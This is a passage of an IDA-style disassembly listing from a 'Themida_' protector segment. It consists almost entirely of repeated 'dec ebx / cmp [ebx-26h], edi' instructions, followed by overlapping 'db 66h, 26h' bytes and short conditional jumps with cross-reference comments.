		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E50j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E54j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E58j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E5Cj
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E60j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E64j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E68j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E6Cj
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E70j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E74j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E78j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E7Cj
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E80j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E84j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E88j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E8Cj
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E90j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E94j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E98j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607E9Cj
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607EA0j
		dec	ebx
		cmp	[ebx-26h], edi	; CODE XREF: Themida_:00607EA4j
		dec	ebx
		movsd
		db	66h, 26h	; CODE XREF: Themida_:00607EA8j
		jb	short near ptr loc_607DF7+2
		db	66h, 26h	; CODE XREF: Themida_:00607EACj
		jb	short near ptr loc_607DFB+2
		db	66h, 26h	; CODE XREF: Themida_:00607EB0j
		jb	short near ptr loc_607DFF+2
		db	66h, 26h	; CODE XREF: Themida_:00607EB4j
		jb	short near ptr loc_607E03+2
		db	66h, 26h	; CODE XREF: Themida_:00607EB8j
		jb	short near ptr loc_607E07+2
		db	66h, 26h	; CODE XREF: Themida_:00607EBCj
		jb	short near ptr loc_607E0B+2
		db	66h, 26h	; CODE XREF: Themida_:00607EC0j
		jb	short near ptr loc_607E0F+2
		db	66h, 26h	; CODE XREF: Themida_:00607EC4j
		jb	short near ptr loc_607E13+2
		db	66h, 26h	; CODE XREF: Themida_:00607EC8j
		jb	short near ptr loc_607E17+2
		db	66h, 26h	; CODE XREF: Themida_:00607ECCj
		jb	short near ptr loc_607E1B+2
		db	66h, 26h	; CODE XREF: Themida_:00607ED0j
		jb	short near ptr loc_607E1F+2
		db	66h, 26h	; CODE XREF: Themida_:00607ED4j
		jb	short near ptr loc_607E23+2
		db	66h, 26h	; CODE XREF: Themida_:00607ED8j
		jb	short near ptr loc_607E27+2
		db	66h, 26h	; CODE XREF: Themida_:00607EDCj
		jb	short near ptr loc_607E2B+2
		db	66h, 26h	; CODE XREF: Themida_:00607EE0j
		jb	short near ptr loc_607E2F+2
		db	66h, 26h	; CODE XREF: Themida_:00607EE4j
		jb	short near ptr loc_607E33+2
		db	66h, 26h	; CODE XREF: Themida_:00607EE8j
		jb	short near ptr loc_607E37+2
		db	66h, 26h	; CODE XREF: Themida_:00607EECj
		jb	short near ptr loc_607E3B+2
		db	66h, 26h	; CODE XREF: Themida_:00607EF0j
		jb	short near ptr loc_607E3F+2
		db	66h, 26h	; CODE XREF: Themida_:00607EF4j
		jb	short near ptr loc_607E43+2
		db	66h, 26h	; CODE XREF: Themida_:00607EF8j
		jb	short near ptr loc_607E47+2
		db	66h, 26h	; CODE XREF: Themida_:00607EFCj
		jb	short near ptr loc_607E4B+2
		db	66h, 26h	; CODE XREF: Themida_:00607F00j
		jb	short near ptr loc_607E50+1
		db	66h, 26h	; CODE XREF: Themida_:00607F04j
		jb	short near ptr loc_607E54+1
		db	66h, 26h	; CODE XREF: Themida_:00607F08j
		jb	short near ptr loc_607E58+1
		db	66h, 26h	; CODE XREF: Themida_:00607F0Cj
		jb	short near ptr loc_607E5C+1
		db	66h, 26h	; CODE XREF: Themida_:00607F10j
		jb	short near ptr loc_607E60+1
		db	66h, 26h	; CODE XREF: Themida_:00607F14j
		jb	short near ptr loc_607E64+1
		db	66h, 26h	; CODE XREF: Themida_:00607F18j
		jb	short near ptr loc_607E68+1
		db	66h, 26h	; CODE XREF: Themida_:00607F1Cj
		jb	short near ptr loc_607E6C+1
		db	66h, 26h	; CODE XREF: Themida_:00607F20j
		jb	short near ptr loc_607E70+1
		db	66h, 26h	; CODE XREF: Themida_:00607F24j
		jb	short near ptr loc_607E74+1
		db	66h, 26h	; CODE XREF: Themida_:00607F28j
		jb	short near ptr loc_607E78+1
		db	66h, 26h	; CODE XREF: Themida_:00607F2Cj
		jb	short near ptr loc_607E7C+1
		db	66h, 26h	; CODE XREF: Themida_:00607F30j
		jb	short near ptr loc_607E80+1
		db	66h, 26h	; CODE XREF: Themida_:00607F34j
		jb	short near ptr loc_607E84+1
		db	66h, 26h	; CODE XREF: Themida_:00607F38j
